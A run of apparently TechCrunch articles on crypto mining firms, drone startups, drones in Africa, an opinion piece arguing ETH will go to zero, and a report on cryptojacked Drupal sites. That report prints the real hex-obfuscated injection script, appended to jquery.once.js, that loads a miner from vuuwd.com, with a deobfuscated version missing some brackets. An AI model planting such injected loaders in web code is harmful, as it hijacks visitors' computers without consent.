Crypto mining giant Bitmain is reportedly getting a new CEO as its IPO plan stalls

Bitmain, the Chinese crypto miner maker, looks like it has reached an interesting point in its pathway to going public. There’s been little heard since the company filed to go public in Hong Kong in September, but now it appears that a new CEO has been hired and its two founders are leaving.

That’s according to a report from SCMP which — citing two sources — said Wang Haichao, Bitmain’s director of product engineering, has assumed CEO duties following a transition that began in December. Founders Wu Jihan (pictured above) and Zhan Ketuan will be co-chairs with Wang described as the “potential successor.”

The publication said that it isn’t clear when a new CEO will be named, or indeed whether an outside appointment will be made.

Bitmain declined to comment on the report when asked by TechCrunch.

The company, which is said to have been valued as high as $15 billion, certainly appears to have stalled with its IPO following the filing of an application on September 26. That document opened up a treasure trove of financial information regarding the company, which is estimated to supply around three-quarters of the world’s crypto mining machines.

Indeed, Bitmain’s IPO filing showed heady growth in revenue. The company grossed more than $2.5 billion in revenue in 2017, a near-10X leap on the $278 million it claimed for 2016, while sales in the first six months of last year surpassed $2.8 billion.

However, there were no figures for Q3 2018 and, since September, the price of Bitcoin and other cryptocurrency has plummeted further still, therein reducing the appeal of buying a mining machine and likely impacting Bitmain’s sales.

Bitmain saw impressive revenue growth as the crypto market grew, but it isn’t clear how the business weathered the price slump that affected the market in 2017

We reported that the company likely made a loss of around $400 million in that Q3 quarter. Things are likely to have been trickier still in Q4, as crypto prices dropped so low that mining companies in China were reported to be selling off machines because the cost of power to mine was lower than the reward for doing so.

Bitmain has diversified into non-mining services, to its credit, but its efforts to grow Bitcoin Cash — a controversial fork of Bitcoin — have been controversial and likely loss-making, to boot.

The price of Bitcoin Cash is currently $162 at the timing of writing, that’s down significantly from around $2,500 one year ago. That doesn’t bode well for Bitmain’s investment into the cryptocurrency, and it likely explains why the company has made layoffs, like others in the crypto space.

What a difference four months can make. The challenge for the company’s (apparent) new CEO is certainly a daunting one.

But Bitmain’s struggle isn’t unprecedented. Just this week, its closest rival — Canaan — was linked with a U.S. IPO. The company had planned to go public in Hong Kong last year but it allowed its application to expire as crypto market prices went south.

There’s plenty to watch out for in the mining space in 2019!

Editorial note: The author owns a small amount of cryptocurrency. Enough to gain an understanding, not enough to change a life.

Airobotics raises another $30 million for its automated drone technologies

Airobotics, the developer of automated drones that can fly without a pilot, has raised $30 million in a new round of financing.

The new funding will be used to boost the company’s manufacturing efforts to meet new demand and help with the development of the company’s global headquarters in Arizona as it looks to capitalize on interest from mining companies in North and South America.

“Streamlining manufacturing to achieve growth and scale is what this funding is to be used for,” according to the company’s chief executive officer and co-founder Ran Krauss.

As the company looks to increase manufacturing, it will likely confine its efforts to the U.S., given the constraints that the Airobotics has on its potential vendors and supply chain thanks to its involvement in the defense industry.

Krauss would not comment on whether the company is doing any work with the U.S. Department of Homeland Security or the much-maligned Immigrations and Customs Enforcement and U.S. Customs and Border Patrol, but ICE has expressed interest in acquiring drone technologies and the company has been pushing hard into the homeland security market (indeed it was a centerpiece of the company’s last $32.5 million round in 2017).

“We are deepening our work in the mining industry in Australia and in the U.S. [and] the next step is to be active in smart cities,” said Krauss.

The company’s mining operations span the globe with deployments through the mining giant BHP in Arizona, South 32 in Australia, Vale in Brazil and additional work in Chile.

“We are looking very seriously into the United States because of our scale. Mining is a significant market in the U.S. and also… flights in cities which is something we’re looking to in two years,” said Krauss.

Airobotics is also making money from contracts doing security and facilities management for companies like Intel, where it is already deployed in one of the company’s large semiconductor fabrication facilities.

The company was the first company in the world to be granted authorization to fly fully automated drones without a pilot, as licensed by the Civil Aviation Authority of Israel (CAAI).

“We have a strong business pipeline and to keep up with demand for our technology, we are continuing to expand operations across the countries in which we operate, specifically our new headquarters in the U.S,” said Krauss in a statement. “Additionally, the new funding will drive our continuous work with Aviation Authorities to obtain BVLOS (Beyond Visual Line of Sight) Certificate of Waiver in every geography we operate in, including in the U.S.”

The new financing was led by Pavilion Capital, a Sino-U.S. investment firm based in New York. Previous investors including Blue Run Ventures China, Charles River Ventures and OurCrowd, as well as additional private investors, also participated in the funding.

African experiments with drone technologies could leapfrog decades of infrastructure neglect

A drone revolution is coming to sub-Saharan Africa.

Countries across the continent are experimenting with this 21st century technology as a way to leapfrog decades of neglect of 20th century infrastructure.

Over the last two years, San Francisco-based startup Zipline launched a national UAV delivery program in East Africa; South Africa passed commercial drone legislation to train and license pilots; and Malawi even opened a Drone Test Corridor to African and its global partners. 

In Rwanda, the country’s government became one of the first adopters of performance-based regulations for all drones earlier this year. The country’s progressive UAV programs drew special attention from the White House and two U.S. Secretaries of Transportation.

Some experts believe Africa’s drone space could contribute to UAV development in the U.S. and elsewhere around the globe.

“The fact that [global drone] companies can operate in Africa and showcase amazing use cases…is a big benefit,” said Lisa Ellsman, co-executive director of the Commercial Drone Alliance.

Test in Africa

It’s clear that the UAV programs in Malawi and Rwanda are getting attention from international drone companies.

Opened in 2017, Malawi’s Drone Test Corridor has been accepting global applications. The program is managed by the country’s Civil Aviation Authority in partnership with UNICEF.

The primary purpose is to test UAV’s for humanitarian purposes, but the program “was designed to provide a controlled platform for… governments…and other partners…to explore how UAV’s can help deliver services,” according to Michael Scheibenreif, UNICEF’s drone lead in Malawi.

That decision to include the private sector opened the launch pads for commercial drones. Swedish firm GLOBEHE has tested using the corridor and reps from Chinese e-commerce company JD have toured the site. Other companies to test in Malawi’s corridor include Belgian UAV air traffic systems company Unifly and U.S. delivery drone manufacturer Vayu, according to Scheibenreif.

Though the government of Rwanda is most visible for its Zipline partnership, it shaping a national testing program for multiple drone actors. 

“We don’t want to limit ourselves with just one operator,” said Claudette Irere, Director General of the Ministry of Information Technology and Communications (MiTEC).

“When we started with Zipline it was more of a pilot to see if this could work,” she said. “As we’ve gotten more interest and have grown the program…this gives us an opportunity to open up to other drone operators, and give space to our local UAV operators.”

Irere said Rwanda has been approached by 16 drone operators, “some of them big names”—but could not reveal them due to temporary NDAs. She also highlighted Charis UAS, a Rwandan drone company, that’s used the country’s test program, and is now operating commercially in and outside of Rwanda.

UAV Policy

Africa’s commercial drone history is largely compressed to a handful of projects and countries within the last 5-7 years. Several governments have jumped out ahead on UAV policy.

In 2016, South Africa passed drone legislation regulating the sector under the country’s Civil Aviation Authority. The guidelines set training requirements for commercial drone pilots to receive Remote Pilot Licenses (RPLs) for Remotely Piloted Aircraft Systems. At the end of 2017 South Africa had registered 686 RPLs and 663 drone aircraft systems, according to a recent State of Drone Report.

Over the last year and a half Kenya, Ghana, and Tanzania have issued or updated drone regulatory guidelines and announced future UAV initiatives.  

In 2018, Rwanda extended its leadership role on drone policy when it adopted performance-based regulations for all drones—claiming to be the first country in the world to do so.

So what does this mean?

“In performance-based regulation the government states this is our safety threshold and you companies tell us the combination of technologies and operational mitigations you’re going to use to meet it,” said Timothy Reuter, Civil Drones Project Head at the World Economic Forum.

Lisa Ellsman, shared a similar interpretation.

“Rather than the government saying ‘you have to use this kind of technology to stop your drone,’ they would say, ‘your drone needs to be able to stop in so many seconds,’” she said.

This gives the drone operators flexibility to build drones around performance targets, vs. “prescriptively requiring a certain type of technology,” according to Ellsman.

Rwanda is still working out the implementation of its performance-based regulations, according to MiTEC’s Claudette Irere. They’ve entered a partnership with the World Economic Forum to further build out best practices. Rwanda will also soon release an online portal for global drone operators to apply to test there.

As for Rwanda being first to release performance-based regulations, that’s disputable. “Many States around the world have been developing and implementing performance-based regulations for unmanned aircraft,” said Leslie Cary, Program Manager for the International Civil Aviation Authority’s Remotely Piloted Aircraft System. “ICAO has not monitored all of these States to determine which was first,” she added.

Other governments have done bits and pieces of Rwanda’s drone policy, according to Timothy Reuter, the head of the civil drones project at the World Economic Forum. “But as currently written in Rwanda, it’s the broadest implementation of performance based regulations in the world.”

Commercial Use Cases

As the UAV programs across Africa mature, there are a handful of strong examples and several projects to watch.

With Zipline as the most robust and visible drone use case in Sub-Saharan Africa.

While the startup’s primary focus is delivery of critical medical supplies, execs repeatedly underscore that Zipline is a for-profit venture backed by $41 million in VC.

The San Francisco-based robotics company — that also manufactures its own UAVs — was one of the earliest drone partners of the government of Rwanda.

Zipline demonstration

The alliance also brought UPS and the UPS Foundation into the mix, who supports Zipline with financial and logistical support.

After several test rounds, Zipline went live with the program in October, becoming the world’s first national drone delivery program at scale.

“We’ve since completed over 6000 deliveries and logged 500,000 flight kilometers,” Zipline co-founder Keenan Wyrobek told TechCrunch. “We’re planning to go live in Tanzania soon and talking to some other African countries.”  

In May Zipline was accepted into the U.S. Department of Transportation’s Unmanned Aircraft Systems Integration Pilot Program (UAS IPP). Out of 149 applicants, the Africa focused startup was one of 10 selected to participate in a drone pilot in the U.S.– to operate beyond visual line of sight medical delivery services in North Carolina.    

In a non-delivery commercial use case, South Africa’s Rocketmine has built out a UAV survey business in 5 countries. The company looks to book $2 million in revenue in 2018 for its “aerial data solutions” services in mining, agriculture, forestry, and civil engineering.

“We have over 50 aircraft now, compared to 15 a couple years ago,” Rocketmine CEO Christopher Clark told TechCrunch. “We operate in South Africa, Namibia, Ghana, Ivory Coast, and moved into Mexico.”

Rocketmine doesn’t plan to enter delivery services, but is looking to expand into the surveillance and security market. “After the survey market that’s probably the biggest request we get from our customers,” said Clark.

More African use cases are likely to come from the Lake Victoria Challenge — a mission specific drone operator challenge set in Tanzania’s Mwanza testing corridor. WeRobotics has also opened FlyingLabs in Kenya, Tanzania, and Benin. And the government of Zambia is reportedly working with Sony’s Aerosense on a drone delivery pilot program.

Africa and Global UAV

With Europe, Asia, and the U.S. rapidly developing drone regulations and testing (or already operating) delivery programs (see JD.com in China), Africa may not take the sole position as the leader in global UAV development — but these pilot projects in the particularly challenging environments these geographies (and economies) represent will shape the development of the drone industry. 

The continent’s test programs — and Rwanda’s performance-based drone regulations in particular — could advance beyond visual line of sight UAV technology at a quicker pace. This could set the stage for faster development of automated drone fleets for remote internet access, commercial and medical delivery, and even give Africa a lead in testing flying autonomous taxis.

“With drones, Africa is willing to take more bold steps more quickly because the benefits are there and the countries have been willing to move in a more agile manner around regulation,” said the WEF’s Reuter.

“There’s an opportunity for Africa to maintain its leadership in this space,” he said. “But the countries need to be willing to take calculated risk to enable technology companies to deploy their solutions there.”

Reuter also underscored the potential for “drone companies that originate in Africa increasingly developing services.”

There’s a case to be made this is already happening with Zipline. Though founded in California, the startup honed its UAVs and delivery model in Rwanda.

“We’re absolutely leveraging our experience built in Africa as we now test through the UAS IPP program to deliver in the U.S.,” said Zipline co-founder Keenan Wyrobek.

The collapse of ETH is inevitable

Here’s a prediction. ETH — the asset, not the Ethereum Network itself — will go to zero.

Those who already think that ETH will not see real adoption — thanks to a failure to scale, to adopt more secure contract authoring practices, or to out-compete its competitors — don’t need to be convinced that a price collapse would follow as a consequence.

But, if one believes that Ethereum will succeed beyond anyone’s wildest dreams as a platform then the proposition that ETH (as a currency) will go to zero will take a bit more convincing running a substantial share of the world’s commerce securely.

So here’s how Ethereum ends up succeeding wildly but ETH becomes worthless. Ethereum’s value proposition, as given by ethereum.org, is as follows:

Build unstoppable applications

Ethereum is a decentralized platform that runs smart contracts: applications that run exactly as programmed without any possibility of downtime, censorship, fraud or third-party interference.

These apps run on a custom built blockchain, an enormously powerful shared global infrastructure that can move value around and represent the ownership of property.

This enables developers to create markets, store registries of debts or promises, move funds in accordance with instructions given long in the past (like a will or a futures contract) and many other things that have not been invented yet, all without a middleman or counterparty risk.

If Ethereum succeeds on its value proposition it will therefore mitigate external risk factors for decentralized applications.

İstanbul, Turkey – January 28, 2018: Close up shot of Bitcoin, Litecoin and Ethereum memorial coins and shovels on soil. Bitcoin Litecoin and Ethereum are crypto currencies and a worldwide payment system.

No Future for ‘Gas’

There’s no value proposition for ETH in the official description. Perhaps this omission is because ETH’s value seems so obvious to the Ethereum Foundation that it is hardly worth mentioning: $ETH fees (dubbed ‘Gas’) is how you pay for all this.

If the concept of gas isn’t immediately obvious, let’s expand the metaphor: The Ethereum network is like a shared car. When a contract wants to be driven by the shared car, the car uses up fuel, which you have to pay the driver for. How much gas money you owe depends on how far you had to be driven, and how much trash you left in the car.

Gas is a nice metaphor, but the metaphor is insufficient as an argument to support non-zero $ETH prices. Gasoline actually burns inside an internal combustion engine; an internal combustion engine will not work without a combustible fuel. $ETH as Gas is a metaphor for how gasoline is consumed; there is no hard requirement for Gas in an Ethereum contract.

(Photo by Manuel Romano/NurPhoto via Getty Images)

Buying the “BuzzwordCoin”

Suppose we’re building a new decentralized application, BuzzwordCoin. By default, following a standard ERC-20 Token template, every transaction on BuzzwordCoin will pay gas in $ETH. Requiring every BuzzwordCoin transaction to also depend on ETH for fees creates substantial risk, third party dependency, and artificial downwards pressure on the price of the underlying token (if one must sell BuzzwordCoin for ETH ahead of time to run a BuzzwordCoin transaction, then the sell-pressure will happen before the transaction requires it, and must be a larger sale than necessary to ensure sufficient funds to cover the transaction).

Instead of paying for Gas in ETH, we could make every BuzzwordCoin transaction deposit a small amount of BuzzwordCoin directly to the block’s miner’s address to pay for the contract’s execution. Paying for Gas in a non-ETH asset is sometimes referred  to as economic abstraction in the Ethereum community.

The revised BuzzwordCoin contract has no functional dependence on ETH. We’re able to incentivize miners to mine transactions without paying any fees in ETH whatsoever.

If the BuzzwordCoin contract has non-transactional contractual clauses — that is, a functionality that should be regularly called by any party for tasking like computing and updating cached statistics in the contract — we can specify that the miner performing those clauses receives coins from an inflation or shared gas pool. In the shared pool, all fees for user’s transactions in a specific contract are paid to the contract’s wallet. A fee dispensing contract call performing the non-transactional clauses releases the fee to the miner (this bears some semblance to Child Pays for Parent in the Bitcoin Ecosystem).

Battling the economic abstraction

There are four main counterarguments to economically abstracting Ethereum: the lack of software support for economic abstraction; difficulty in pricing many tokens; the existence of contracts not tied to tokens; and the need for ETH for Proof-of-Stake. While nuanced, all four arguments fall flat.

Software Support: Currently, miners select transactions based on the amount of Gas provided in ETH. As ETH is not a contract (like an ERC-20 token), the code is special-cased for transactions dealing in ETH. However, there are efforts to make Ethereum treat ETH less special-cased and more like other ERC-20 Tokens and vice-versa. Weth, for instance, wraps ETH in a 1:1 pegged ERC-20 compliant token for trading in Decentralized Exchanges.

Detractors of economic abstraction (notably, Vitalik Buterin) argue that the added complexity is not worth the ecosystem gains. This argument is absurd. If the software doesn’t support the needs of rational users, then the software should be amended. Furthermore, the actual wallet software required for any given token is made much more complex, as the wallet must manage balances in both ETH and the application’s token.

Market Pricing: To mine on Ethereum with economic abstraction, miners simply need software which allows them to account for discrepancies in their perceived value of active tokens and include transactions rationally on that basis.  Such software requires dynamically re-ordering pending transactions based on pricing information, gleaned either through the miner’s own outlook or monitoring cryptocurrency exchanges prices.

Vlad Zamfir argues that the potential need to monitor market information on prices makes economic abstraction difficult.

However, miners requiring pricing information is already the status quo — rational actors need a model of future ETH prices before mining (or staking) to maximize profit against electricity costs, hardware costs, and opportunity costs.

Non-Token Contracts: Not all contracts have coins, or if they do, they may not be widely recognized, valuable, and traded on exchanges. Can such contracts pay fees without ETH?

Users of a tokenless contract can pay fees in whichever tokens they want. For example, a user of TokenlessContract can pay their fees in a 50/50 mix of LemonadeCoin and TeaBucks. To ensure liquidity between users and miners with different assets they would pay or accept fees with, a user can simply issue multiple mutually-exclusive transactions paying with fees in different assets.

Specialized wallet contracts could also negotiate fees with miners directly .  A miner could also process transactions paying fee with an asset they do not want if there is an open Decentralized Exchange (DEX) offer to exchange the fee asset for something they prefer —  it is possible to create DEX orders for paying fees which allowing only a block’s miner to fill a user’s offers in proportion to the fees that a user has paid in that block preventing the case where a user’s fee diversifying offers are taken by non-miners.

Proof-of-Stake: Without ETH, a modified version of Proof-of-Stake with a multitude of assets could still decide consensus if each node selects a weight vector for the voting power of all assets (let’s call it HD-PoS, or Heterogeneous Deposit Proof Of Stake). While it is an open research question to

show under which conditions HD-PoS would maintain consensus, consensus may be possible if the weight vectors are similar enough.

Proofs of HD-PoS may be possible by assuming a bound on the pairwise euclidean distance of the weight vectors or the maximum difference between any two prices. If such a consensus algorithm proves impossible, the failure to find such an algorithm points to a more general vulnerability in Ethereum PoS.  

Assuming a future where ETH’s main utility is governance voting, why wouldn’t all the other valuable applications on Ethereum have a say in the consensus process? Rolling back actions in a valuable token contract by burning ETH stake could be a lucrative business; if HD-PoS is used such attacks are impossible.

Vitalik Buterin (Ethereum Foundation) at TechCrunch Disrupt SF 2017

ETH’s ethereal value

If all the applications and their transactions can run without ETH, there’s no reason for ETH to be valuable unless the miners enforce some sort of racket to require users to pay in ETH. But if miners are uncoordinated, mutually disinterested, and rational, they would prefer to be paid in assets of their own choosing rather than in something like ETH. Furthermore, risk-averse users would want to minimize their exposure to volatile assets they don’t have to use. Lastly, token developers benefit because pricing in their native asset should serve to reduce sell-pressure. Thus, in a stateless ecosystem, replacing ETH is a Pareto Improvement (i.e., all parties are better off). The only party disadvantaged is existing ETH holders.

  • The author holds Stellar and Bitcoin,  but has relatively little holdings in other cryptocurrencies. He has previously done a Virtual Lapel Pin Sale (like an ICO) for his cause, “Fuck Nazis”, on top of Ethereum which faced both government censorship and censorship from the Ethereum community. 

Outdated website software lets hackers mine cryptocurrencies at your expense

An outdated version of Drupal, a popular content management system, let hackers mine the cryptocurrency Monero on over 300 websites including the websites for the “San Diego Zoo and the government of Chihuahua, Mexico.” A report by Troy Mursch outlined how the hack worked and even showed how much processing power browsers began taking up when they pointed at the hacked sites.

The hack uses a form of code injection that forces the browser to run Coinhive, a small bit of Javascript-based mining software. The code mines Monero, the ostensibly anonymous cryptocurrency.

The hacked sites all pointed to a URL – “http://vuuwd.com/t.js” – where Coinhive lived. The browser ran the software and began using up CPU power to mine the coin.

Mursch performed a comprehensive search for potentially affected sites and narrowed things down to about 350 sites, all of them running older versions of Drupal.

“The affected sites varied by hosting providers and countries and no specific one appeared to be targeted. The most unique domains were found in the United States and were hosted by Amazon,” he wrote.

The code appears at the end of jquery.once.js and is still visible on this site. It consists of a single line:

var dZ1= window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x73\x42\x79\x54\x61\x67\x4e\x61\x6d\x65"]('\x68\x65\x61\x64')[0]; var ZBRnO2= window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74"]('\x73\x63\x72\x69\x70\x74'); ZBRnO2["\x74\x79\x70\x65"]= '\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74'; ZBRnO2["\x69\x64"]='\x6d\x5f\x67\x5f\x61';ZBRnO2["\x73\x72\x63"]= '\x68\x74\x74\x70\x73\x3a\x2f\x2f\x76\x75\x75\x77\x64\x2e\x63\x6f\x6d\x2f\x74\x2e\x6a\x73'; dZ1["\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64"](ZBRnO2);

Which, deobfuscated, translates to:

'use strict';
var dZ1 = window["document"]"getElementsByTagName"[0];
var ZBRnO2 = window["document"]"createElement";
/** @type {string} */
ZBRnO2["type"] = "text/javascript";
/** @type {string} */
ZBRnO2["id"] = "m_g_a";
/** @type {string} */
ZBRnO2["src"] = "https://vuuwd.com/t.js";
dZ1"appendChild";

The domain it calls, vuuwd.com, is down.

BadPackets has a full list of the hacked websites and, as evidenced by the lines above, it doesn’t seem that many folks are rushing to fix their sites. A canonical list appears here.”

“Notable sites include those of Lenovo, UCLA, DLink (Brazil), and Office of Inspector General of the U.S. Equal Employment Opportunity Commission (EEOC) — a US federal government agency,” wrote Mursch.

Qarnot unveils a cryptocurrency heater for your home

 French startup Qarnot unveiled a new computing heater specifically made for cryptocurrency mining. You’ve read that right, the QC1 is a heater for your home that features a passive computer inside. And this computer is optimized for mining. While most people use laptops, back in the golden days of computer towers, you could heat a room with a couple of desktop computers. And heat is… Read More

Samsung confirms it is making ASIC chips for cryptocurrency mining

 Fresh from toppling Intel as the planet’s biggest seller of chipsets, Samsung has confirmed that it has begun manufacturing ASIC chips which are used to mine bitcoin, ether and other cryptocurrencies. “Samsung’s foundry business is currently engaged in the manufacturing of cryptocurrency mining chips. However we are unable to disclose further details regarding our… Read More